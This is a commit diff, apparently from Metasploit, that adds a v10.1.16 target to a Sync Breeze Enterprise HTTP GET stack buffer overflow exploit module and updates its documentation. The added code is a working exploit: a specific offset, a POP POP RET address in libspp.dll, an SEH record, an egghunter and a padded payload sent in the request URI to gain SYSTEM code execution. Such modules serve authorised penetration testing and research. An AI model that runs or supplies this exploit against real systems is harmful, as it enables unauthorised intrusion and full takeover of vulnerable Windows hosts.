Land rapid7#9269, Add a new target for Sync Breeze Enterprise GET BoF

Land rapid7#9269

Author: wchen-r7

documentation/modules/exploit/windows/http/syncbreeze_bof.md

@@ -1,8 +1,17 @@
 ## Vulnerable Application
 
-[Sync Breeze Enterprise](http://www.syncbreeze.com) versions up to v9.4.28 and v10.0.28 are affected by a stack-based buffer overflow vulnerability which can be leveraged by an attacker to execute arbitrary code in the context of NT AUTHORITY\SYSTEM on the target. The vulnerabilities are caused by improper bounds checking of the request path in HTTP GET requests and username value via HTTP POST requests sent to the built-in web server, respectively. This module has been tested successfully on Windows 7 SP1. The vulnerable applications are available for download at [Sync Breeze Enterprise v9.4.28](http://www.syncbreeze.com/setups/syncbreezeent_setup_v9.4.28.exe) and [Sync Breeze Enterprise v10.0.28](http://www.syncbreeze.com/setups/syncbreezeent_setup_v10.0.28.exe).
+[Sync Breeze Enterprise](http://www.syncbreeze.com) versions up to v9.4.28, v10.0.28, and v10.1.16
+are affected by a stack-based buffer overflow vulnerability which can be leveraged by an attacker
+to execute arbitrary code in the context of NT AUTHORITY\SYSTEM on the target. The vulnerabilities
+are caused by improper bounds checking of the request path in HTTP GET requests and username value
+via HTTP POST requests sent to the built-in web server, respectively.
+
+This module has been tested successfully on Windows 7 SP1. The vulnerable applications are available
+for download at [Sync Breeze Enterprise v9.4.28](http://www.syncbreeze.com/setups/syncbreezeent_setup_v9.4.28.exe)
+and [Sync Breeze Enterprise v10.0.28](http://www.syncbreeze.com/setups/syncbreezeent_setup_v10.0.28.exe).
 
 ## Verification Steps
+
   1. Install a vulnerable Sync Breeze Enterprise
   2. Start `Sync Breeze Enterprise` service
   3. Start `Sync Breeze Enterprise` client application

modules/exploits/windows/http/syncbreeze_bof.rb

@@ -15,17 +15,18 @@ def initialize(info = {})
       'Name'           => 'Sync Breeze Enterprise GET Buffer Overflow',
       'Description'    => %q{
         This module exploits a stack-based buffer overflow vulnerability
-        in the web interface of Sync Breeze Enterprise v9.4.28 and v10.0.28, caused by
-        improper bounds checking of the request in HTTP GET and POST requests
-        sent to the built-in web server. This module has been tested
-        successfully on Windows 7 SP1 x86.
+        in the web interface of Sync Breeze Enterprise v9.4.28, v10.0.28,
+        and v10.1.16, caused by improper bounds checking of the request in
+        HTTP GET and POST requests sent to the built-in web server. This
+        module has been tested successfully on Windows 7 SP1 x86.
       },
       'License'        => MSF_LICENSE,
       'Author'         =>
         [
           'Daniel Teixeira',
-          'Andrew Smith', # MSF support for v10.0.28
-          'Owais Mehtab'  # Original v10.0.28 exploit
+          'Andrew Smith',             # MSF support for v10.0.28
+          'Owais Mehtab',             # Original v10.0.28 exploit
+          'Milton Valencia (wetw0rk)' # MSF support for v10.1.16
         ],
       'DefaultOptions' =>
         {
@@ -53,6 +54,12 @@ def initialize(info = {})
               'Offset' => 780,
               'Ret'    => 0x10090c83  # JMP ESP [libspp.dll]
             }
+          ],
+          [ 'Sync Breeze Enterprise v10.1.16',
+            {
+              'Offset' => 2495,
+              'Ret'    => 0x1001C65C # POP # POP # RET [libspp.dll]
+            }
           ]
         ],
       'Privileged'     => true,
@@ -102,6 +109,9 @@ def get_target_name
     when /10\.0\.28/
       print_status('Target is 10.0.28')
       return targets[2]
+    when /10\.1\.16/
+      print_status('Target is 10.1.16')
+      return targets[3]
     else
       nil
     end
@@ -156,6 +166,34 @@ def exploit
           'password' => "rawr"
         }
       )
+    when targets[3]
+      target = targets[3]
+
+      eggoptions = {
+        checksum: true,
+        eggtag: rand_text_alpha(4, payload_badchars)
+      }
+
+      hunter, egg = generate_egghunter(
+        payload.encoded,
+        payload_badchars,
+        eggoptions
+      )
+
+      sploit = payload.encoded
+      sploit << rand_text_alpha(target['Offset'] - payload.encoded.length, payload_badchars)
+      sploit << generate_seh_record(target.ret)
+      sploit << hunter
+      # Push the payload out of this buffer, which will make the hunger look for the payload
+      # somewhere else that has the complete payload.
+      sploit << make_nops(200)
+      sploit << egg
+      sploit << rand_text_alpha(9067 - sploit.length, payload_badchars)
+
+      send_request_cgi(
+        'uri'    =>  "/#{sploit}",
+        'method' =>  'GET'
+      )
     else
       print_error("Exploit not suitable for this target.")
     end